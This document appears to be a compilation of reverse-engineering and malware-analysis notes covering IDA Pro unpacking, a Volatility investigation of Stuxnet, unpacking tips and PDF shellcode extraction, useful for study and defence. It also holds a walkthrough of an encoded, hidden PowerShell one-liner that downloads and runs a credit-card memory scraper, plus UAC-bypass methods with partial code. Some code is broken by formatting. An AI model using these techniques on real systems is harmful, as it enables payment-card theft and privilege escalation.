Reverse Engineering Software: For Loop in Bomb2.exe

I. Multiple/Variable Argument functions

  • sscanf
  • Highlight push before calls for context

II. Array Access

  • Commonly found within for loops
  • General form: [base+count*increment]
mov     eax, [ebp+arg_4] ; base
add eax, 14h ; count*increment

III. For Loop
  • 3-expressions for (i=0; i < 256; i++) {}
    • Initialization
    • Test
    • Counter
  • Note, all parts are optional.
  • In most (not all) cases there will be a common variable

This is a classic for loop. Note the 3 parts of a for loop:

  • Initialization
mov [ebp+var_4], 1
jmp short loc_4011E3
  • Test expression
cmp [ebp+var_4], 6
jge short loc_401207
  • Counter
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx

IDA Pro Tutorial: Unpacking Obfuscated Binary Using IDA Pro Debugger

Goal: Advance IDA Pro understanding
Step: Load file using as Portable Executable for 80386 (metapc) reveals multiple errors and “Warning” tab informing about possible obfuscation routines.

The following flags are checked out as well:

  • Rename DLL sections
  • Create import segment

The subroutine reveals the unresolvable jmp call to nowhere, as marked in red.

Now, we are loading the binary again with the same function using “Manual Load” and unchecking “Create segment section” to avoid at the segment error.

Now, the jmp call leads to the function entitled “start_0.” 


Notably, the jmp call is the first instruction of this binary. In fact, it abused the header conventions by loading the code in these sections.

We see that the binary loads a pointer into ESI which gets immediately copied to EBX:

HEADER:00400158                 mov     esi, offset off_40601C
HEADER:0040015D                 mov     ebx, esi
HEADER:0040015F                 lodsd
HEADER:00400160                 lodsd
HEADER:00400161                 push    eax
HEADER:00400162                 lodsd
*Tip: Ctrl + O converts hexadecimals to labels

Soon, the value of EBX is used to call a subroutine:
HEADER:00400169            call    dword ptr [ebx]


At 0x40601C, the pointer offset off_40601C, or 40601Ch (in hexadecimals when pressed Ctrl+O for conversion) points to the memory location at 0x400130. To get to this point, we undefine the array (hotkey U), go back to the pointer (hotkey Esc) and follow the pointer again.

While the function is now on screen, we only have half of it. It seems that the person who wrote that program wanted it to obfuscate it and separated the function into several pieces.


*Tip: There is a special command to help us: the command to generate flow charts of functions in IDA, it’s hotkey is F12.


A quick glance at the flow chart reveals that there is only one exit from the function at its “ret” instruction ()
First press F2 to create a breakpoint, then right click and select “edit breakpoint” to change it to a hardware breakpoint on the “execution” event.

​After having set the breakpoint, we start the debugger by pressing F9. When we reach the breakpoint, the program will be unpacked into the ‘MEW’ segment. We jump there and convert everything to code (the fastest way to do this is to press F7 at the breakpoint)
There are two things to be saved because they will disappear when the debugger stops: the memory contents and the imported function names. The memory contents can be saved by using the following 4-line script:
auto fp, ea;
fp = fopen(“bin”, “wb”);
for ( ea=0x401000; ea < 0x406000; ea++ )
  fputc(Byte(ea), fp);

If we want to know the name of the called function, we press Enter several times to follow the links and finally get the name:
kernel32.dll:77E7AD86 kernel32_GetModuleHandleA:              ; CODE XREF: sub_4012DCj
kernel32.dll:77E7AD86                                         ; DATA XREF: MEW:off_402000o
kernel32.dll:77E7AD86 cmp     dword ptr [esp+4], 0

We have to copy the function names before that:
auto ea, name;
for (ea = 0x401270; ea<0x4012e2; ea =ea+6 )
  name = Name(Dword(Dfirst(ea)));               /* get name */
  name = substr(name, strstr(name, “_”)+1, -1); /* drop the prefix */
  MakeName(ea, name);

Now that we have run those scripts, we may stop the debugger (press Ctrl-F2) and copy back the memory contents. The “Load additional binary file” command in the File, Load menu is the way to go:

Note that it is not necessary to create a segment, it already exists (clear the “create segments” flag). Also, the address is specified in paragraphs, i.e. it is shifted to the right by 4.

Load the file, press P at 0x401000 and, you have a nice listing:

Memory Forensics: Stuxnet -> Volatility Analysis


Basic Stuxnet Description (sophisticated APT worm-like trojan):

  1. A normal Windows XP installation has just one instance of lsass.exe that the Winlogon process creates when the system boots. (Wininit creates it on Windows Vista and higher).
  2. Process tree reveals that the two new lsass.exe instances were both created by services.exe, the Service Control Manager, which implies that Stuxnet somehow got its code into the Services.exe process.
  3. Mrxnet.sys is the driver that implements the rootkit that hides files, and Mrxcls.sys is a second Stuxnet driver file that launches the malware when the system boots. 
2.  imageinfo=WinXPSP3x86 -f stuxnet.vmem

Analyze Stuxnet Process Tree3. pstree –profile=WinXPSP3x86 -f stuxnet.vmem | egrep ‘(services.exe|lsass.exe|winlogon.exe)’ | tee pstree.txt
Note 1: What is lsass.exe?

  • LSASS, or local security authority subsystem service, is a process that functions as part of the Microsoft Windows operating system.
    • LSASS is part of the process for maintaining and enforcing the security protocols on the operating system.
    • LSASS performs several important functions
      1. To ensure that the system remains free from unauthorized access
      2. LSASS oversees access to a computer or server.
      3. LSASS recognizes any restrictions on access to any information on the hard drive or the server.
      4. LSASS makes sure that only recognized access codes or other login credentials will allow persons to interact with password protected files, directories, etc.

Note 2: Normal Parent-Child Relation vs. Student Parent-

Child one

    • The normal Parent-Child relation
      • winlogon.exe (624) kicks off, DATE: 2010-10-29 17:08:54
        • services.exe (668), DATE: 2010-10-29 17:08:54
        • lsass.exe (680), 2010-10-29 17:08:54
    • The Stuxnet Parent-Child relation
      • services.exe(668) is NOT supposed to, but kicks off
        • lsass.exe (1928), DATE: 2011-06-03 04:26:55
        • lsass.exe (868), DATE: 2011-06-03 04:26:55
      • Notice these two lsass.exe processes were created 216 after winlogin.exe was started.

 Note 3: Lsass

  • Another way that you can tell the good lsass.exe (680) processes from the bad (1928 & 868) lsass.exe process is that PID 680 are bound to Port 500 and 4500, while PIDs 1928 & 868 are not.

Analyze Sockets
4. sockets –profile=WinXPSP3x86 -fstuxnet.vmem | egrep ‘(Off|—|680|1928|868)’ | tee images/sockets.txt

Analyze DLLs

  • Analyze lsass DLLs​
  1. ./ dlllist -p 680 –profile=WinXPSP3x86 -f stuxnet.vmem 2>/dev/null | wc -l
  2. ./ dlllist -p 1928 –profile=WinXPSP3x86 -f stuxnet.vmem 2>/dev/null | wc -l
  3. ./ dlllist -p 868 –profile=WinXPSP3x86 -f stuxnet.vmem 2>/dev/null | wc -l
  4. ./ dlllist -p 680,1928,868 –profile=WinXPSP3x86 -f stuxnet.vmem > dlllist.txt
  5. ls -l dlllist.txt

Note 4: Lsass DLLsAnother suspicious characteristic of the two superfluous processes is the fact that they have very few DLLs loaded. 
DLLs are automatically added … when a process call the LoadLibrary.
Notice that the good PID (680) has 64 DLLs attached to its’ process.
Notice that the bad PID (1928) has 35 DLLs attached to its’ process.
Notice that the bad PID (868) has 15 DLLs attached to its’ process.

Analyze Process IDs with malfind malfind -p 680 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem malfind -p 868 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem malfind -p 868,1928 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem > images/stuxnet/output/malfind.txt


  • The malfind command has several purposes. You can use it to find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions. 
  • Services.exe, Lsass.exe or Explorer.exe should not have write permission. 
  • Notice, that PID(680) did not return any results, while PID (868 and 1928) did.

Bypassing Behavior Blocking When Loading DLLs

1. What is Address space layout randomization (ASLR)
Address space layout randomization (ASLR) is a computer security method which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process’s address space.

2. Bypassing Behavior Blocking When Loading DLLs
Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behavior-blocking and host intrusion-protection based technologies that monitor LoadLibrary calls. Stuxnet calls LoadLibrary with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail. However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names. These specially crafted filenames are mapped to another location instead a location specified by W32.Stuxnet. That location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously. The filenames used have the pattern of KERNEL32.DLL.ASLR.[HEXADECIMAL] or SHELL32.DLL.ASLR. [HEXADECIMAL], where the variable [HEXADECIMAL] is a hexadecimal value. dlllist –profile=WinXPSP3x86 -f stuxnet.vmem | grep ASLR dlllist –profile=WinXPSP3x86 -f stuxnet.vmem | grep ASLR > aslr.txt
ls -l images/stuxnet/output/aslr.txt

​Displays the Stuxnet specially crafted files designed to bypass the ASRL.

Using ldrmodules to find hidden DLLs

Note (FYI):

There are many ways to hide a DLL. One of the ways involves unlinking the DLL from one (or all) of the linked lists in the PEB (Process Environment Block). However, when this is done, there is still information contained within the VAD (Virtual Address Descriptor) which identifies the base address of the DLL and its full path on disk. To cross-reference this information (known as memory mapped files) with the 3 PEB lists, use the ldrmodules command. For each memory mapped Portable Executable (PE) file, the ldrmodules command prints a 0 or a 1 if the PE exists in the PEB lists.

a. ldrmodules -p 680 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem
This is normal

b. ldrmodules -p 868 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem

Notice the lines identified by the word “Problem.”c. ldrmodules -p 1928 –profile=WinXPSP3x86 -f images/stuxnet/stuxnet.vmem | egrep ‘(Pid|-$)’

​Note (FYI):
The lines identified as a problem are either suspicious because an entry is missing from one of the PEB (Process Environment Block) lists or because the path name is blank.

Using procexedump to dump process executables
Note (FYI):

  • To dump a process’s executable (not including the slack space), use the procexedump command.

  1. procdump -p 680,868,1928 -D ./output/ –profile=WinXPSP3x86 -f stuxnet.vmem
  2. ls -l output/*.exe

Obfuscated PowerShell Memory Scraping for Credit Cards

Original Source & Inspiration:

* Non-resident credit card memory scraper, now improved the obfuscation technique using -EncodedCommand
* One-liner PowerShell script/downloader essentially does its dirty work without any additional malware corpus on the host
* Great for penetration tests of various merchants or for PCI-DSS audit compliance

  • ​​(1) Setup a server with the Memory Scraper download
  • (2) Encode the PowerShell memory scraper using -EncodedCommand (Base64)
  • (3) Allow execution of scripts on the host via powershell.exe Set-ExecutionPolicy Unrestricted
  • (4) Execute the obfuscated script on the host​ that downloads the memory scraper and parses the memory process of notepad.exe for credit card Track1/2 data with Luhn algorithm

 -NoP -NonI -W Hidden -Enc 


(1) On the server, set up a lightweight HTTP server

  • copy contents and python -m SimpleHTTPServer

(2) Encode the PowerShell memory scraper using -EncodedCommand (Base64);


The following PowerShell is going to be encoded using -EncodedCommand instead of -Command:

  • powershell.exe -exec bypass -Command “(New-Object Net.WebClient).DownloadFile(‘′,’mem_scraper.ps1′);./mem_scraper.ps1 -Proc notepad;)”


  • EncodedCommand

    Accepts a base-64-encoded string version of a command. Use this parameter
    to submit commands to Windows PowerShell that require complex quotation
    marks or curly braces

​# To use the -EncodedCommand parameter:
    $command = “(New-Object Net.WebClient).DownloadFile(‘′,’mem_scraper.ps1′);./mem_scraper.ps1 -Proc notepad;)”
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
powershell.exe -encodedCommand $encodedCommand # Test

Here is the reverse process:
$decodedCommand = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($base64));
($command = “New-Object Net.WebClient).DownloadFile(‘;,’mem_scraper.ps1’);./mem_scraper.ps1 -Proc notepad;”$bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encodedCommand = [Convert]::ToBase64String($bytes);powershell.exe -encodedCommand $encodedCommand)


The final obfuscated PowerShell one-liner is as follows:


(3) Allow execution of scripts on the host via powershell.exe Set-ExecutionPolicy Unrestricted
The Set-ExecutionPolicy cmdlet enables you to determine which Windows PowerShell scripts (if any) will be allowed to run on your computer. Windows PowerShell has four different execution policies:

  • Restricted – No scripts can be run. Windows PowerShell can be used only in interactive mode.
  • AllSigned – Only scripts signed by a trusted publisher can be run.
  • RemoteSigned – Downloaded scripts must be signed by a trusted publisher before they can be run.
  • Unrestricted – No restrictions; all Windows PowerShell scripts can be run.


(4) Execute the obfuscated script on the host​ that downloads the memory scraper and parses the memory process of notepad.exe for credit card Track1/2 data with Luhn algorithm


Defeating UAC Using Sysprep and Tilon/Pitou

  • 1 – Leo Davidson sysprep method, this will work only on Windows 7 and Windows 8, used in multiple malware;
  • 2 – Tweaked Leo Davidson sysprep method, this will work only on Windows 8.1.9600;
  • 3 – Leo Davidson method tweaked by WinNT/Pitou developers, works from Windows 7 up to 10th2 10532;

* Leo Davidson AutoElevation method with derivatives.
* UacMethodSysprep1   – Original Leo Davidson concept.
* UacMethodSysprep2   – Windows 8.1 adapted UacMethodSysprep1 (bypassing sysprep embedded manifest dlls redirection).
* UacMethodTilon      – Leo Davidson concept with different target dll, used by Win32/Tilon.
* UacMethodSysprep3   – Windows 10 TH1 adapted UacMethodSysprep1.
* UacMethodOobe       – WinNT/Pitou derivative from Leo Davidson concept

Typical malware UAC bypass:

  1. Creates a DLL in %temp%;
  2. Inserts code into the running explorer.exe, and explorer.exe moves dll from %temp% to C:\Windows\System32\sysprep\cryptbase.dll;
  3. C:\Windows\System32\sysprep\sysprep.exe is executed and sysprep.exe loads ;C:\Windows\System32\sysprep\cryptbase.dll with administrative privileges; and,
  4. C:\Windows\System32\sysprep\cryptbase.dll executes malware with administrative privileges

/* ucmMasqueradedRenameElementCOM
* Purpose:
* Rename file/directory autoelevated.
* ucmMasqueradedCreateSubDirectoryCOM
* Purpose:
* Create directory autoelevated.
* ucmMasqueradedMoveFileCOM
* Purpose:
* Move file autoelevated.
* ucmStandardAutoElevation2
* Purpose:
* Bypass UAC by abusing appinfo g_lpAutoApproveEXEList
* UAC contain whitelist of trusted fusion processes with only names and no other special restrictions
* Most of them are unknown, and list does not properly handled by system itself, use this fact.
5. /* ucmStandardAutoElevation */

switch (Method) {

    case UacMethodSysprep1:

        _strcat(szSourceDll, CRYPTBASE_DLL);

        _strcat(szTargetDir, SYSPREP_DIR);

        _strcat(szTargetProcess, SYSPREP_DIR);
        _strcat(szTargetProcess, SYSPREP_EXE);


    case UacMethodSysprep2:

        _strcat(szSourceDll, SHCORE_DLL);

        _strcat(szTargetDir, SYSPREP_DIR);

        _strcat(szTargetProcess, SYSPREP_DIR);
        _strcat(szTargetProcess, SYSPREP_EXE);


    case UacMethodSysprep3:

        _strcat(szSourceDll, DBGCORE_DLL);

        _strcat(szTargetDir, SYSPREP_DIR);

        _strcat(szTargetProcess, SYSPREP_DIR);
        _strcat(szTargetProcess, SYSPREP_EXE);


    case UacMethodOobe:

        _strcat(szSourceDll, WDSCORE_DLL);

        _strcat(szTargetDir, L”oobe\\”);

        _strcat(szTargetProcess, SETUPSQM_EXE);


    case UacMethodTilon:

        _strcat(szSourceDll, ACTIONQUEUE_DLL);

        _strcat(szTargetDir, SYSPREP_DIR);

        _strcat(szTargetProcess, SYSPREP_DIR);
        _strcat(szTargetProcess, SYSPREP_EXE);



IDC Script: Coloring Unusual Instructions: Anti-Analysis

#include static main() {
auto start, end, addr, mnem, count, opnd, opnd1, opnd2; 

start = SegStart( ScreenEA() ); 
nd = SegEnd( ScreenEA() ); 
addr = start; count = 0; 
while( addr < end ) { 
mnem = GetMnem( addr ); 

// Common VM detect instructions if( mnem == “sidt” || mnem == “sgdt” || mnem == “sldt” || mnem == “smsw” || mnem == “str” ) { Message( “%08x: Found %s\n”, addr, mnem );
SetColor( addr, CIC_ITEM, 0x0088ff ); // orange 

// Read Time Stamp Counter if( mnem == “rdtsc” ) { 
Message( “%08x: Found %s\n”, addr, mnem ); 
SetColor( addr, CIC_ITEM, 0xff8800 ); // blue 

// Exception Handling or other PEB/TEB access opnd = “”; 
opnd1 = GetOpnd( addr, 0 ); 
opnd2 = GetOpnd( addr, 1 ); 
if( strstr( opnd1, “fs:” ) > -1 ) { 
opnd = opnd1; 

else { 
if( strstr( opnd2, “fs:” ) > -1 ) opnd = opnd2; 
if( opnd != “” ) { 
Message( “%08x: Found %s\n”, addr, opnd ); 
SetColor( addr, CIC_ITEM, 0xff8888 ); // purple 

addr = NextHead( addr, BADADDR ); 
count = count + 1; 
Message( “Processed %d instructions from %08x to %08x\n”, count, start, end ); 

Generic Reverse Engineering Algorithm

​Source: OpenSecurityTraining

  1. Gather information
    • IAT (Import Address Table)
    • Strings
    • Dynamic analysis
  2. Identify function of interest
  3. Identify CALLs
  4. Identify algorithms and data structures
  5. Pseudo-code it!
    • If having trouble, draw the memory and CPU and map what happens at each instruction
  6. Rename function(s), argument(s), variable(s)
  7. Add comments
  8. GOTO 2

Manual Malware Unpacking

Unpacker Tail Transitions

  • often (not always) found at the end of unpacking code
  • Usually comes in one of the following forms:
  • jump immediate (jmp 0401234)
  • Jumps generally take 1 byte operand, while transitions from unpackers to application code require a larger operand (e.g. 4 bytes)
  • push / ret
  • A push followed by a return is fishy as the pushed value becomes the return address
  • The unpacker may have a constant or set a register that it jumps to
  • pusha / popa
  • Not a transition technique, but usually used for restoring registers to entry-point state
  • Hardware Breakpoint on one of the saved registers may halt debugger just before transition to OEP
  • View ESP in dump, select one of the 4 byte aligned values, and set bp (f2)

When a tail jump is unidentifiable, attempt to locate OEP by a section hop

  • Generally code resides in single section of the PE file.
  • Hops between sections are unusual and occur often in the transition from unpacker stubs to application code
  • OllyDump automates the search for such a hop and attempts to break when found

Beware of self-modifying code

  • How Software Breakpoints work
  • Debugger stores a copy of the byte at the breakpoint address
  • This byte is replaced with 0xCC
  • When the address is reached, the debugger swaps in the original byte
  • How self-modifying code works
  • A byte or block is read from memory
  • Optional transformations are applied
  • The byte is written (original location or elsewhere)
  • Self-modify reads may read wrong (0xCC) byte
  • Self-modify writes may overwrite breakpoints
  • Use Hardware breakpoints when possible (4 in 32-bit)

Breaking on common events

  • Debuggers often allow breaking on Library Load/Unload
  • Packers often end with a series of LoadLibrary / GetProcAddress calls
  • Could set a breakpoint on common start-up functions
  • GetCommandLineA, GetVersion
  • Catch is they have to be loaded and available for breakpoints

Extracting Malicious Shellcode From PDF

Source: OpenSecurityTraining

  1. PDFStreamDumper
  2. Load -> Pdf File
  3. View objects list in left-side box
    • Tools -> About Listview Colors
  4. choose object of interest (click on it to select)
    • to export as-is: Right-click object number in left-side box -> Save Raw Stream
    • to deal with JavaScript…
      1. click on object in left-side box, to select it
      2. click Javascrip_UI (in the menubar)
      3. modify JavaScript so that you remove the exploit line(s) and just have a variable that contains the shellcode
      4. add to the end of the JavaScript box (replacing VAR_NAME): tb.writeFile(“C:\\shellcode.bin”,VAR_NAME)
      5. click the Run button